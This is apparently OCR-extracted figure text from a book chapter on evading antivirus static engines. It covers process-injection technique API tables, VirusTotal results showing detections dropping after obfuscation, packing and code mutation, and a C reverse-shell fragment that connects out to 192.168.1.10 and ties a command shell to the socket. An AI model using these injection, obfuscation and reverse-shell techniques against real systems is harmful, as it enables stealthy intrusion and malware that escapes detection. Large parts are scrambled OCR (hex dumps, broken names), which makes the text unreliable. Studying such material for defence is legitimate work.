ATOM NtQueueApcThread, QueueUserAPC, GetModuleHandle,
BOMBING GetProcAddress, SetEvent, GetCurrentProcess, SleepEx

WaitForMultipleObjectsEx MsgWaitForMultipleObjectsEx,

CloseHandle.
ySy ion, NtI dbject /
ZwDuplicateObject, GetCurrentProcess, NtQueryObject,
ALPC NtClose, RtlinitUnlcodeString, NtConnectPort, VirtualAllocEx,
INJECTION LU mory, Copy Yy, ReadP Y,
VirtualFreeEx, VirtualQueryEx, GetMappedFileName,

OpenProcess, CloseHandle, GetSysteminfo.
CreateFileMappingW, MapViewOfFile, RtlAllocateHeap,
LOCKPOS NtCreateSection, NtMapViewOfSection, NtCreateThreadEx.

CreateProcess(“CREATE_SUSPENDED”),NtQueryinformation

Process, ReadProcessMemory, GetModuleHandle,
PROCESS GetProcAddress, ZwUnmapViewOfSection /
HOLLOWING NtL ViewOfSectlon, VirtualAllocEx,
WriteProcessMemory, VirtualProtectEx, SetThreadContext,

ResumeThread.

CreateFlleTransacted, WriteFlle, NtCreateSection,
PROCESS RollbackTransaction, NtCreateProcessEx,

A RtiCreat Vir AllocEx,
DOPPELGANGING WriteProcessMemory, NtCreateThreadEx, NtResumeThread.




REFLECTIVE
PE INJECTION

THREAD
EXECUTION HIJACKING

KERNEL CALLBACK
TABLE

CLIPBRDWNDCLASS

PROPAGATE

EARLY BIRD

CONSOLEWINDOWCLASS

TOOLTIP PROCESS
INJECTION

CreateFileA, HeapAlloc, OpenProcessToken,
OpenProcess, VirtualAlloc, GetProcAddress
LoadRemoteLlbraryR / LoadLlbrary, HeapFree,
CloseHandle.

RtlAdjustPrivilege, OpenProcess, CreateToolhelp32Snapshot,
Thread32First, Thread32Next, CloseHandle, VirtualAllocEx,
OpenThread, VirtualFree / VirtualFreeEx, SuspendThread,
GetThreadContext, VirtualAlloc, WriteProcessMemory,
SetThreadContext, ResumeThread.

FindWindowA, GetWindowThreadProcessid

OpenProcess, NtQueryinformatlonProcess, ReadProcessMemory,
VirtualAllocEx, WriteProcessMemory, SendMessage,
VirtualFreeEx

FIndWIndowEx(“CLIPBRDWNDCLASS”), OpenProcess,
VirtualAllocEx, WriteProcessMemory,
SetProp(“ClipboardDataObjectinterface”), VirtualFreeEx.

FindWindow(“Progman”),
FindWindowEx(“SHELLDLL_DefView”),
GetProp(“UxSubclassinfo”), GetWindowThreadProcessld,
OpenPr , ReadPr Memory, VirtualAllocEx,
WrlteProcessMemory, SetProp(“UxSubclassinfo”),
PostMessage, VirtualFreeEx.

CreateProcessA, VirtualAllocEx, WriteProcessMemory,
QueueUserAPC, ResumeThread.

FindWindow(“ConsoleWindowClass”),
GetWindowThreadProcessld, OpenProcess,
ReadProcessMemory, VirtualAllocEx, WriteProcessMemory,
VirtualFreeEx.

FindWindow(“tooltips_class32”), OpenProcess, VirtualAllocEx,
WriteProcessMemory, VirtualFreeEx, CloseHandle.

GetWindowThreadProcessld, CreateThread, GetTickCount,
OpenProcess, VirtualAllocEx, WriteProcessMemory,
VirtualFreeEx, TerminateThread.



DOS Header

/
/Y PE Header
Header > Optional Header
\ Data Directories
/////////)' \\\\\\5\ Section Table
mmmArsen.exe
\\\\\\\\\E‘ //////?' code
Sections > imports
\ data

C:\Users\nir\Desktop>rundl132.exe hello-world-x86.d1l1, function_name

C:\Users\nir\Desktop>

Hello World! X

Hello waorld!




Offszet (h)

0002559480
00025980
000259C0
00025500
000255ED
000259F0
00025800
000254810
000254820
00025830
00025840
000254850
00025860
QO0025A7T0
Q00254880
Q00258590
00025880
00025480
00025480
00o254D0
000254E0
000254F0
00025800
00025810
00025820
00025830
00025840
00025850
00025860
Q0025870
Q0025880
Q0025850
00025BA0
00025BBO
00025BCO
00025800
00025BED

oo

65
65
T3
a0
ac
T8
T0
oo
oo
68
o6
47
00
BF
T8
6E
6E
449
ec
46
T2
63
4D
03
&0
65
T4
T8
00
65
23
T4
6E
ec
6F
6l
63

01

T3
oo
T3
T2
20
T3
oo
0o
0o
aF
a5
65
0o
63
63
68
46
&F
41
a9
83
6l
83
03
01
6E
a7
a7
).
6E
85
T2
L
85
a7
T4
6l

0z
T3

o0
65
T2
T4
20
oD
BS
&E
T2
T4
1a
65
65
6l
69
43
e
e
653
ac
el
a7
45
T4
a9
0
47
42
T4
649
o0
o0
69
4o
ac

a3

ao
02
ao
T3
&6F
63
a3
02
03
4D
T3
4D
02
T3
Ta
oE
&l
&6F
aC
65
a3
46
&6F
63
T8
53
oE
00
a5
TS
43
e
ao
ao
64
65
a3

C++

HMODULE LoadLibraryA(

04

86
47
T
65
T4
&l
33
47
a6
a6l
(3
&F
47
T3
T4
64
T4
6E
&6F
L
70
T2
T2
T4
T0
T4
64
&C
T4
13
&F
Ta

Eg
65
73
69

LPCSTR lpLibFileName

05

oo
B85
03
EE
63
449
63
63
63
T3
eF
64
65
449
649
eC
65
T4
63
oo
6l
63
T8
o4
6l
T2
eF
04
43
6a
6E
T4
02
03
43
T3
T

0o

43
T4
49
T4
63
6E
T4
T4
T2
6B
6E
TS5
T4
64
&F
85
T2
T2
oo
26
63
83
23
(]
6E
(3=
TT
22
&F
65
T3
85
47
4D
68
6l
683

o7

eC
50
T3
oo
T4
66
qc
qc
23
oo
44
eC
43
o0
6E
64
oo
&eF
oo
02
63
oo
T4
63
64
&E
T3
65
6E
T2
eF
oo
85
75
6l
L
o0

a8

aF
T2
44
C4
aao
&6F
a6l
a6l
63
BD
oE
a5
TS
oB
a0
45
1B
6

17
45
36
a6l
6B
45
a7
44
al
T3
45
aC
34
T4
6
T2
65
05

05

T3
&6F
85
05
0o
0o
73
T3
T4
05
6a
48
T2
04
00
T8
01
0o
0o
85
78
03
T4
43
6E
T3
a5
64
&F
6E
63
O&
53
T4
0o
57
02

Ly

65
63
62
o6
DF
T3
T4
T4
43
o6
eF
6l
T2
o2
65
63
44
Cs
43
T4
a7
17
T3
6F
T6
a7
T2
46
eC
6a
o4
eC
T4
(3]
a5
oo
17

0B

48
41
TS
a9
02
05
45
45
&6F
a3
a7
6E
65
6l
05
65
a5
03
T2
44
oo
ac
T3
TS
a3
0o
a5
69
65
&F
65
T3
64
42
01
oo
85

oc

6l
64
L
T2
a7
23
T2
T2
6E
T2
a0
64
&E
69
o3
70
TG
ac
65
69
ca
6F
45
6E
T2
22
63
eC
o3
o0
T8
T4
48
T4
46

T4

oD

&6E
64
a7
T4
63
ac
T2
T2
%
(3=
0o
eC
T4
T3
65
T4
(3]
&6F
6l
T3
03
62
T8
T4
&6F
03
T4
65
63
00
T4
T2
&6l
T4
&6F
03
43

OE

a4
72
65
75
T4
85
&6F
&6F
L]
66
T4
65
20
65
T4
649
683
83
T4
6B
1
6l
0o
0o
6E
47
&F
00
T2
Fa
41
ec
6E
65
72
ac
&6F

OF

el
65
T2
6l
a3
63
T2
T2
T4
T8
02
a7
T2
45
25
eF
65
6l
65
46
aF
aC
ao
oo
el
a3
T2
00
a5
04
T4
65
64
54
el
&eF
6E

Decoded text

e3s5.t.CloseHandl
g.%.GetProciddre
s3..zZ.IsDebugger
Present.A.Virtua
1Protect. .B.GetS

vetemInfo.u.51ee

D.*.5etLastError

..] .GetLastError

L2 WVerSetCondit
ionMask.*s.Verify
VersionInfoW..t.
GetModuleHandleW
v oo FetCurrentPr
ocessId. [.RaiscE
Xception..e.5etlO
nhandledExceptio
nFilter...Device
IoControl.A.Loca
1hlloc. .E.Create
FileW.&.GetDiskF
rEESpaceExﬁ.E.LD
calFree.6.51lobal
MemoryStatusEx. .
. GetTickCount. .
" LCExpandEnvironm
entStringsW.".Ge
tWindowsDirector
vW..l.EBeadFile..
. GetConsoleScre
enBufferInfo..q.
SetConsoleTextAt
tribute.4.1lstrle
nW..I.GetStdHand
le. .. MultiByteT
oWideChar.¥.Form
atHessageW..f.LD
calSize...GetCon




002D207F cc Tnt3 N sk v
002D2080 57 push edi
002D2081 FF15 64D0|€all dword ptr ds:[<&GetTickCount>] EAX 00000000 ) )
002D2087 68 60EA00|{push EABO EBX 002F2EC8 L"Check if time has been accelerated: "
002D208C 8BF8 mov edi,eax ECX aggggggg
0020208¢ | FF15 28D0|gall dword ptr ds: [<&Sleep>] s e
FF15 64D0/call dword ptr ds:[<&GetTickCount:>] Esp 010EE74C
002D209A 2BCY sub eax,edi =2
ESI 00000000
002D209cC B9 78E600{mov ecx,EG/8 EDI 004A290B
002D20a1 3BC8 cmp ecx,eax
002D20A3 5F pop edi EIP  002D2094 al-khaser.002D2094
002D20a4 1BCO sbb eax,eax
002D20A6 40 inc eax EFLAGS 00000344
002D20A7 c3 ret zZF1 PF1 AF O
002D20A8 GE int3 OF 0 sF 0O DF O
002D20A9 EE int3 CcF0 TF1 1IF1
002D20AA GE int3
002D20AB @c int3 LastError 000000B7 (ERROR_ALREADY_EXISTS)
002D20AC cc int3 LastStatus C0000034 (STATUS_OBJECT_NAME_NOT_FOUND)
002D20AD CcC int3
002D20AE [ €C int3 52 0038 bs 0038
002D20AF G int3 Co 0023 so 002B
00202080 55 push ebp 22
002D20B1 8BEC mov ebp,esp
; a8
(1) 3engines detected this file G
4275801c904657ea1a05583b3b%45df00daaze158865dbed7c7cd180fcb93dde? 848.50 KB 2020-12-26 18:03:57 UTC %L
keylogger_after.exe Size 2 minutes ago EXE
2 K
peexe
% Community [y
Score
DETECTION DETAILS BEHAVIOR COMMUNITY
SecureAge APEX @ Malicious. BitDefenderTheta (D Gen:NN.ZexaF.34700.1CW@aGMuMsk
Cylance @ Unsafe Acronis @ Undetected
Ad-Aware (%) Undetected AegisLab () Undetected
AhnLab-V3 ) Undetected Alibaba (&) Undetected
AlYac () Undetected Antiy-AVL () Undetected
Arcabit (¥) Undetected Avast () Undetected
AVG @ Undetected Avira (no cloud) @ Undetected
void *malloc (size) » Heap

Stack

text (.code)




(1) 27 engines detected this file

d39d2daséeidbbecciB2ad7e85608e4ba7dfcd93d95846fa26f139c4311c70023

. before_memory_bombing.exe

peexe

%) Commurity (0
Scare

DETECTION DETAILS

Ad-Aware

AlYac

Arcabit

AVG

BitDefender

Bkav

Cynet

eScan

F-Secure

GData

MAX

Microsoft

Sangfor Engine Zero

VBA32

BEHAVIOR ~  COMMUNITY

@ Gen:Variant.Fugrafa. 100095
(D Gen:Variant.Fugrafa. 100095
(1) Trojan.Fugrafa.D186FF

@ Win32:TrojanX-gen [Trj]

(1) Gen:Variant.Fugrafa100095
@ W3z2.AlDetectVM.malware1
@ Malicious (score: 90)

(1) Gen:Variant.Fugrafa.100095
(1) Heuristic HEURAAGEN. 1139860
@ Gen:Variant. Fugrafa. 100095
(1) Malware (ai Score=80)

@ Trojan:Win32/Wacatac.DDIml
(D Malware

(1) BScope.Backdoor.Agent

AhnlLab-V3

SecureAge APEX

Avast

Avira (no cloud)

BitDefenderTheta

Cylance

Emsisoft

ESET-NOD32

FireEye

Ikarus

McAfee

Rising

Symantec

Acronis

12.00 KB
Size

2020-12-08 12:25:07 UTC %L
1 minute ago EXE

® Malware/Win32.RL_Generic.R353645
@ Malicious

() Win3z:TrojanX-gen [Tr]

(1) HEUR/AGEN.1139850

() Gen:NN.ZexaF.34670.aCW@aGdpNGn
@ Unsafe

@ Application VMAware (A)

(D) AVariant Of Win3z/Agent. ABUR

(1) Generic.mg 1i21b4faa90e8c5

@ Trojan Win32.Agent

() GenericRXMW-OZ!1F21B4FA490E

® Trojan.Agent!8.B1E (TFE:S:LLILGdrbIKT)
@ ML.Attribute.HighConfidence

() Undetected



(@ 17 engines detected this file ¢

50ccads199b4730f9894277a2830b04asas5bac1c9d9352b478471e307836e948 12.00 KB 2020-12-05 22:51:28 UTC %L

? MemoryBombing.exe Size 4 minutes ago EXE

% Community () pese
Scare
DETECTION DETAILS BEHAVIOR COMMUNITY

AhnLab-V3 @ Malware/Win32.RL_Generic.R353645 SecureAge APEX @ Malicious
Avast (D Win32:TrojanX-gen [Trj] ANVG (1) Win3z:TrajanX-gen [Trj]
Avira (no cloud) @ HEUR/AGEN.1139840 BitDefenderTheta @ Gen:NN.ZexaF.34670.aCW@as|iEib
Bkav (1) W3z.AlDetectVM.malwarel Cylance () Unsafe
Cynet @ Malicious (score: 85) Emsisoft @ Application VMAware (A)
ESET-NOD32 @ AVariant Of Win32/Agent. ABUR F-Secure @ Heuristic. HEUR/AGEN.1139860
FireEye @ Generic.mg.4736aca0d7bSdadc Ikarus @ TrojanWin32.Agent
Microsoft @ Trojan:Win32/\Wacatac.D5!ml Rising @ Trojan.Agent!8.B1E (TFE:S:LLLLGdrbIKT)
VBA32 @ BScope.Backdoor.Agent Acronis @ Undetected
Ad-Aware () Undetected AegisLab () Undetected
Alibaba () Undetected ALYac () Undetected
Antiy-AVL ) Undetected Arcabit () Undetected
Baidu (¥) Undetected BitDefender () Undetected
CAT-QuickHesal () Undetected ClamaAV () Undetected



Chapter 5: Bypassing the Static Engine

Decompilation Process

Compiled File

original

while (i <= 100) {

8 += i;
i++

y

Source Code

control-flow flattening applied

int swVar = 1;

switch (swWar) {

case 1:
1= 1;
=z = 0;
swVar =
break;

}

case 2:

if (i <= 100)

swVar
else

swVar
break;

case 3:
8 += 1;
i++;
swVar =
break;

2;

=3;

= 0;

2;

while (swVar != Q) {

| int swVar = 1;

while (swWar != 0)

| switch (swVar)

1 1 ¥
case 1: { case 2: { case 3: {
i=1; if (i <= 100) 5 += 1ij
s = 0; swVlar = 3; i++;
suVar = 2; else swVWar = 2;
break; swlar = 0; break;
} break; }
}




& caliber@caliber: /mnt,
$|vara Locky.yara Locky.ex

Locky_02122020 Locky.ex
$ |

A caliber@caliber: /mnt/d/Docum

$|yara Emotet.yara emotet.doc

Emotet_02122620 emotet.doc

$ |

4 (1) 28 engines detected this file o B
28 W
171
3e56027833b1f1af6f915a3650231ca12121828017cdf47336c981abBe14bbi? 12.00KB 2020-12-10 07:47:40 UTC %
? befors_obfuscation.exe Size 3 hours ago EXE
peexe
% Community
Scare
DETECTION DETAILS BEHAVIOR COMMUNITY
Ad-Aware (D) Gen:Variant Doris.725 Ahnlab-V3 () Malware/Win32.RL_Generic.R353645
AlYac @ Gen:Variant.Doris.725 SecureAge APEX @ Malicious
Arcabit @ Trojan.Doris.725 Avast @ Win32:TrojanX-gen [Trj]
AVG (D) Win32:TrojanX-gen [Trj] Avira (no cloud) (1) HEURIAGEN.1139860
BitDefender @ Gen:Variant.Doris.725 BitDefenderTheta @ Gen:NN.ZexaF.34670.aCW@aubf4d
Bkav @ W32 AlDetectVM.malware1 Cylance @ Unsafe
Cynet @ Malicious (score: 100) Emsisoft @ ApplicationVMAware (A)
eScan (D) Gen:Variant Doris.725 ESET-NOD32 (1) A Variant Of Win32/Agent. ABUR
F-Secure (D) Heuristic HEURIAGEN. 1139860 FireEye (D) Generic.mg.adbs93819e71d71d
Fortinet (1) W3z/Agent. ABURIr GData () Gen:Variant.Doris.725
Ikarus @ TrojanWin32.Agent MAX @ Malware (ai Score=86)
McAfee (D) GenericRXMW-OZIADB693B19E7F Microsoft (D Trojan:Win32AWacatac.D3tml
Rising @ Trojan.Agent!8.BIE (TFE:5:LLILGdrbIKT) Sangfor Engine Zero @ Malware
Symantec @ ML.Attribute. HighConfidence VBA32 @ BScope.Backdoor.Agent



main(int argc, char **argv) {
FreeConsole();
if (argc == 3) {
int port = atoi(argv|[2]);
Run(argv[1], port);

host[] = "192.168.1.10";
int port = 3,
Run(host, port);

Run( Server,

ie) {

SOCKET mySocket;

sockaddr in addr;

WSADATA version;

WSAStartup (i IORD(2,2), &version);

mySocket = ( o 5 »IPPROTO_TCP,
addr.sin_family = g

addr.sin_addr.: = inet addr(Server);
addr.sin_port = htons(Port);

if (WSAConnect(mySocket, (SOCKADDR*)&addr,
closesocket(mySocket);
WSACleanup();
continue;
¥
else {
RecvData[ 1;
memset (RecvData, @, (RecvData));
RecvCode = recv(mySocket, RecvData,
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();

ontinue;




P1[]
r P2[]

r* P = strcat(P1, P2);

STARTUPINFO sinfo;

PROCESS_INFORMATION pinfo;

memset(&sinfo, 0, si f(sinfo));

sinfo.cb = si (sinfo);

sinfo.dwFlags = (STAR ES ANDLES | STAR SESHOWWINDOW) ;

sinfo.hStdInput = sinfo.hStdoutput = sinfo.hStdError = (HANDLE) mySocket;
teP 5 (1 5 IP4 NULL, NULL, T ,» @, NULL, NULL, &sinfo, &pinfo);

wWaitForSingleobject(pinfo.hProcess, IN IE);

CloseHandle(pinfo.hProcess);

CloseHandle(pinfo.hThread);

memset (RecvData, 0, si: (GEADEIE) DR
RecvCode = recv(mySocket, RecvData,

if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
cont

¥

if (strcmp(RecvData, "exit\n") == @) {
exit(0);




9 (D) 9 engines detected this file
168

96a6b75e202ebc198ad5a7459042d16fc50000aaea2dac3caalb3seadd0c0148 ‘
. after_obfuscation.exe

" peere

. Community
Score

DETECTION DETAILS BEHAVIOR COMMUNITY
SecureAge APEX (D Malicious Bkav
Cylance (D) Unsafe ESET-NOD32
Kaspersky (D HEUR:Trojan.Winé4.Donut.vho Mcafee
Microsoft (D Trojan:Win32/Fuerboos.Elcl VBA32
ZoneAlarm by Check Point (D HEUR:TrojanWiné4.Donut.vho Acronis
Ad-Aware @ Undetected AhnlLab-V3
Alibaba @ Undetected AlYac
Antiy-AvL @ Undetected Arcabit
Avast @ Undetected AVG
Avira (no cloud) @ Undetected Baidu
BitDefender @ Undetected BitDefenderTheta
CAT-QuickHeal @ Undetected ClamAY
cMC @ Undetected Comodo
CrowdStrike Falcon (&) Undetected Cybereason

Non-Encrypted Malware Encrypted Malware

848.50 KB 2020-12-10 15:11:32 UTC { %L \
Size . EXE -

amoment ago

(D W32.AlDetectVM.malware1
(D) AVeriant Of Win32/Agent.TSW
(1) GenericRXMW-0Z!68609A399148
(D BScope.Backdoor.Agent

@ Undetected

@ Undetected

@ Undetected

@ Undetected

@ Undetected

@ Undetected

@ Undetected

@ Undetected

@ Undetected

() Undetected







v




Original Binary Lst Mutation
push ebp h
mov ebp, esp e o
mov eax, 1 el TS
cmp eax, 1 & a“: 1
je sub_00001 Sne sub. 00002
sub_00001 mov edx, [ebp + "Exiting”]
push 0 push edx
push offset Caption call ProcessExit
push  offset Text
push 0
B S
retn 4 4
Print_HelloWorld endp jmp sub_00003
mov edx, [ebp + "Exiting”]
push edx
call ProcessExit

sub_00003
mov edx, eax
ror eax, 2
rol edx, 2
xchg edx, eax
jmp sub_00004

sub_00004
push 0

push  offset Caption
push  offset Text
push 0

call  ds:MessageBoxA
xor eax, eax

retn 4
Print_HelloWorld endp

}

2nd Mutation

push ebp
mov ebp, esp
mov eax, 4
cmp eax, 3
je sub_00005

sub_00007

push  ©

push  offset Caption
push offset Text
push  ©

call  ds:MessageBoxA
xor eax, eax

retn
Print_HelloWorld endp

File name: C:/Users/Terminator/Deskiop/Hello World.exe

Flugins  Log

20480 Entropy FLC

Impaort

EntryPoint: 000012do = ImageBase:

NumberOfSections: ooos = SizeOfImage:

linker unknown(2.32)[EXE32,consale]

Detect It Eas Signatures Info

00400000
0000booo

s ?

sub_00005
mov edx, [ebp + "Exiting”]
push edx

call ProcessExit

Options

About

Exit



Offset: Size: 20480 = Reload

Entropy(b te): - 69% not packed Save diagram

Curve

PE Header("1.95639")
Section0(".text"){"6.08727")
Section1(".data")("0.225207"
Section2(".rdata"}("3.81069")
Section3(".eh_fram")("4.8020
Section4(".bss")("0")
SectionS(".idata")("4.61865")
Section6(".CRT")("0.117281")
Section7(".ts")("0.227638")

L L S e B L S B
5,000 10,000 15,000 20,000 25,000

Disasm: .text General DOS Hdr File Hdr Optional Hdr Section Hdrs B Imports B TS

 + B |
Offset Name Func. Count  Bound? OriginalFirstT TimeDateSta Forwarder NameRVA FirstThunk
4400 KERNEL32.dll 18 FALSE 8078 0 0 8678 8170
4414 msvecrtdil 2 FALSE 80C4 0 0 8690 81BC
4428 msvertdll 30 FALSE 80D0 0 0 8714 81c8
443C libgcc_s_dw2-1.dll 2 FALSE 814C 0 0 8728 8244
4450 libstdc++-6.dll 5 FALSE 8158 0 0 8750 8250
KERNEL32.dll [ 18 entries ]
Call via Name Ordinal Original Thun Thunk Forwarder Hint ~
8170 DeleteCriticalSection - 8268 8268 - DO
8174 EnterCriticalSection - 8280 8280 - ED
8178 ExitProcess - 8298 8298 - 118
817cC FindClose - 82A6 82A6 - 12D
8180 FindFirstFileA - 82B2 8282 - 131
8184 FindNextFileA - 82C4 82C4 - 142
8188 FreeLibrary - 8204 8204 - 161 -




Disasm: .text = General = DOSHdr  FileHdr = Optional Hdr = Section Hdrs = @8 Imports B s
Offset Name Value Value
A8 Entry Point 12D0
AC Base of Code 1000
BO Base of Data 4000
B4 Image Base 400000
B8 Section Alignment 1000
BC File Alignment 200
co OS Ver. (Major) 4 Windows 95 / NT 4.0
C2 OS Ver. (Minor) 0
C4 Image Ver. (Major) 1
o Image Ver. (Minor) 0
C8 Subsystem Ver. (Major) 4
CA Subsystem Ver. Minor) 0
CC Win32 Version Value 0
DO Size of Image B00O
D4 Size of Headers 400
D8 Checksum 70B8
DC Subsystem 3 Windows console
DE DLL Characteristics 0
EO Size of Stack Reserve 200000

u [x] Command Prompt

Hello
World.exe

File size
20480 ->

Packed 1 file.

10752

Ratio

52.50%

C:\Users\Terminator\Desktop>upx.exe "Hello World.exe" -o Packed.exe

Format Name

win32/pe Packed.exe




File name: C:/Users/Terminator/Desktop/Packed.exe

Type: = PE Size: = 10752 Entropy

Import
EntryPoint: 0000c230 > ImageBase: 00400000
NumberOfSections: = 0003 > SizeOfImage: 0000e000

packer UPX(3.96)[NRV,best] S ?
linker unknown(2.32)[EXE32,console] Sa?

Options
Detect It Easy v Signatures Info About
> 94 ms

Exit

Offset: 0 Size: 10752 Reload

Entropy(bits/byte): = 7.40219 929% Save diagram

co

PE Header("2.62837")
Section0("UPX0")("0")
Section1("UPX1")("7.67966")
Section2("UPX2")("2.64845")

w (@) ~N

NN

| Sy gy Wy Gy v oy |

w

T T T e e T T T T e T e T Fa T T |
4,000 6,000 8,000 10,000 12,000

——
2,000




Before UPX After UPX
PE Header PE Header
text
UPXO
.data
.rdata UPX1
.idata UPX2
.rsrc .rsrc
Disasm: UFX1 General DOS Hdr File Hdr Optional Hdr Section Hdrs B8 Imports B 1S
Offset MName Value Value
AB Entry Point 230
AC Base of Code ADDO
BO Base of Data D000
B4 Image Base 400000
Ba Section Alignment 1000
BC File Alignment 200
co 0OS Ver. (Major) 4 Windows 95 / NT 4.0
c2 0S Ver. (Minor) 0
c4 Image Ver. (Major) 1
C6 Image Ver. (Minor) 0
o Subsystem Ver. (Major) 4
CA Subsystem Ver. Minor) 0
CcC Win32 Version Value 0
DO Size of Image EOOOD
D4 Size of Headers 1000
Disasm: Headers to [UPX1] General DOS Hdr File Hdr Optional Hdr Section Hdrs B8 Imports TS
+ + B
Offset Name Func. Count  Bound? OriginalFirstT TimeDateStai Forwarder MNameRVA FirstThunk
2800 KERNEL32... 4 FALSE 0 0 0 D090 D064
2814 libgcc_s dw... 1 FALSE 0 0 0 D0OSD D078
2828 libstdc++-6.... 1 FALSE 0 0 0 DOBO D080
283C msvert.dll 1 FALSE 0 0 0 DOCO D088
KERNEL32.DLL [ 4 entries ]
Call via Name Ordinal Original Thun Thunk Forwarder Hint
D064 LoadLibraryA - - DOEA - 0
D068 ExitProcess - - DOCC - 0
D06C GetProcAddress - - DODA - 0
D070 VirtualProtect = = DOF8 = 0




C:\Users\Terminator\Desktop>upx.exe -d Packed.exe -o HelloWorld Unpacked.exe
Packed.exe

|

HelloWorl... 20480 <- 10752 52.50% win32/pe HelloWorld_Unpacked.exe
Unpacked 1 file.

C:\Users\Terminator\Desktop>

ﬁ, PE-bear v0.3.9.5 [C:/Users/Terminator/Desktop/HelloWorld_Unpacked.exe] - [m] X

File Settings Compare Info

v [ HelloWorld_Unpac... X » 5 8 N
DOS Header 8
@ DOS stub 0o|1|2|s|4|5/6|/7|8|9 /A B|c|[D|E|E 0123456789ABCDETF A
v 1% NT Headers 6D0 83 EC 1CC7 0 0 0 FF 15 D8 81 40 00 e
Signature 6E0  E8 BB FE 26 00
File Header 6F0 83 EC 1C -
Optional Hea... i -
Section Headers 700 EEEEER
v Sections 710 FF 25 04
v # text 720  FF 25 F4 0 90 90 90
= EP =6D0 730 5589 ES 10 C7 04
& data 740 14 28 00 00 83 EC 04 85 CO 74
# .rdata
] .gh_f{am Disasm: .text General DOS Hdr File Hdr Optional Hdr Section Hdrs Imports TLS
% .DSS
& .idata Offset Name Value Value o
# .CRT =
& s A8 Entry Point 12D0
AC Base of Code 1000
B Base of Data 4000
B4 Image Base 400000
B8 Section Alignment 1000
BC File Alignment 200
0S Ver. (Major) 4 Windows 95/ NT 4.0
2 OS Ver. (Minor) 0
C4 Image Ver. (Major) 1
EIP ECX EDX ESI EDIJ 0040C230 60 pushad EntryPoint
0040C231 BE 15A04000 mov es1,packed. 404015 es1EntryPoint
0040Cc236 8DBE EBGFFFFF lea edi,dword ptr ds:[esi-9015] edi:EntryPoint
0040C23C 57 push edi edi:EntryPoint
0040c23D| -~ EB OB jmp packed.40C24A
0040C23F a0 nop
0040C240 8A06 mov al,byte ptr ds:[esi] esiiEntryPoint
0040c242 46 inc esi esiEntryPoint
0040C243 BBO7 mov byte ptr ds:[edi],al edi:EntryPoint
0040C245 a7 inc edi edi :EntryPoint
0040C246 01DB add ebx,ebx
0040c248| -~ 75 07 jne packed.40C251
0040C24A 8B1E mov ebx,dword ptr ds:[esi] esiEntryPoint
0040C24C 83EE FC sub esi,FFFFFFFC esiiEntryPoint
0040C24F 11DB adc ebx,ebx
0040Cc251 ~ 72 ED jb packed.40c240
0040c253 B& 01000000 mov eax,l
0040C258 01DB add ebx,ebx
0040C254| ~ 75 OF jne packed.40cC263
0040C25C 8B1E mov ebx,dword ptr ds:[esi] esiEntryPoint
0040C25E B3EE FC sub esi,FFFFFFFC esiEntryPoint
0040C261 11DB adc ebx,ebx
0040C263 11c0 adc eax,eax
0040C265 0lpDB add ebx,ebx
0040C267| ~ 73 EF jae packed.40c258
0040C269| -~ 75 09 jne packed.40C274
0040C268 8B1E mov ebx,dword ptr ds:[esi] esi:EntryPoint
0040C26D B3EE FC sub esi,FFFFFFFC esiiEntryPoint
0040Cc270 11DB adc ebx,ebx
0040c272| ~ 73 E4 jae packed.40c258




Bl cru @ cGraph [Flog 3 Notes ® Breakpoints =~ ™8 Memory Map [/ Call Stack =@ SEH  [o| Seript
00010000 | 00010000 MAP -RwW-- -RwW--
00040000 | 0001B0O00 MAP -R-—- -R-—-
00060000 | 00035000 | Reserved PRV -RW--
00095000 | 00008000 PRV | -RW-G -RW-—
000A0000| 00004000 MAP | -R--—-— -R-——
00080000 | 00002000 PRV | -RW-- -RW-—
000C0000| 000C7000 | \Device\Harddiskvolumed '\ windows'9 MAP -R-—— -R-——
00190000 | 00035000 | Reserved PRV -RW-——
001c5000 | 0000B0O00 PRV -RW-G -RW-—
00200000 | 001A6000 | Reserved PRV -RW--
003a6000 | 0000EQDD PRV -RW-—— -RW-——
00384000 0004C000 | Reserved (00200000) PRV -RW--—
00400000 ( 00001000 | packed. exe IMG | -R-—- ERWC-
00401000 00009000 | "UPXD" IMG ERW-- ERWC -
0040D000 | 00001000 UPx2 IMG -Rw-- ERWC-
00410000 | 001FBOOO | Reserved PRV -RW--
0060B000 | 00005000 | Thread 1DC8 stack PRV -RW-G -RW--
00610000 | 00035000 | Reserved PRV -RW-——
00645000 | 00008000 PRV |-RW-G -RW-—
00650000 00035000 | Reserved PRV -RW-——
00685000 0000B0O00 PRV -RW-G -RW-—
00780000 | 00007000 PRV -RW-— -RW-—
00787000 00009000 | Reserved (00780000) PRV -RW-——
008Dp0000 | 00003000 PRV -RW-—— -RW-——
008032000 0000D000 | Reserved (008D0O0O0OO) PRV -RW--—
00970000 | O000EQDOD PRV -RW--— -RW--—
Q0097E000| 000OF2000 | Reserved (00970000) PRV -RW--—
00A70000| 00LFCO00 | Reserved PRV -RW--
Q00CeC000| 00004000 | Thread 156C Stack PRV -RW-G -Rw--
00C70000 | 001LFCO00 |Reserved PRV -RW--
D0E6CO00 | 00004000 | Thread 170C stack PRV -RW-G -RW--
0D0E70000 | 001FDOOO | Reserved PRV -RW--
0106D000 | 00003000 | Thread 79C Stack PRV -RW-G -RW--
6E940000 (00001000 | 1ibgcc_s_dw2-1.d11 IMG | -R-—- ERWC-
6E941000| 00017000 | ".text" Executable code IMG ER-—— ERWC-
6E958000| 00001000 | ".data" Initialized data IMG -RW-- ERWC-
6E959000( 00001000 | ".rdata” Read-only initialized data |IMG |-R--—- ERWC-
6E95A000| 00001000 | ".eh_fram” IMG -RWC- ERWC-
6E95B000| 00001000 | ".bhss" Uninitialized data IMG -RW-- ERWC-
6E95C000 (00001000 | ".edata” Export tables IMG | -R-—- ERWC-
6E95D000 (00001000 | ".idata” Import tables IMG | -RW-- ERWC-
6E95E000| 00001000 | ".CRT" IMG | -RWC- ERWC-
6E95F000| 00001000 | ".Tl1s" Thread-Tocal storage IMG -RWC- ERWC-
6E960000(00001000| ".reloc” Base relocations IMG -R-—- ERWC-
6FC40000 | 00001000 | Tibstdc++-6.d11 IMG -R-—- ERWC-
6FC41000| 00082000 | ".text” Executable code IMG ER-—— ERWC-
6FCC3000| 00007000 | ".data" Initialized data IMG -RW-- ERWC-
6FCCADDO | 00004000 | ".rdata” Read-only initialized data |IMG |-R--- ERWC-
6FCD4000| 00012000 | /4™ IMG -RWC- ERWC-
6FCE6000 | 00001000 | ".bss™ uninitialized data IMG -RW-- ERWC-
File View Debug Trace Plugins Favourites Options Help Apr 29 2019
SR A RSN ZIEEN KA TZ2E Y Y | .

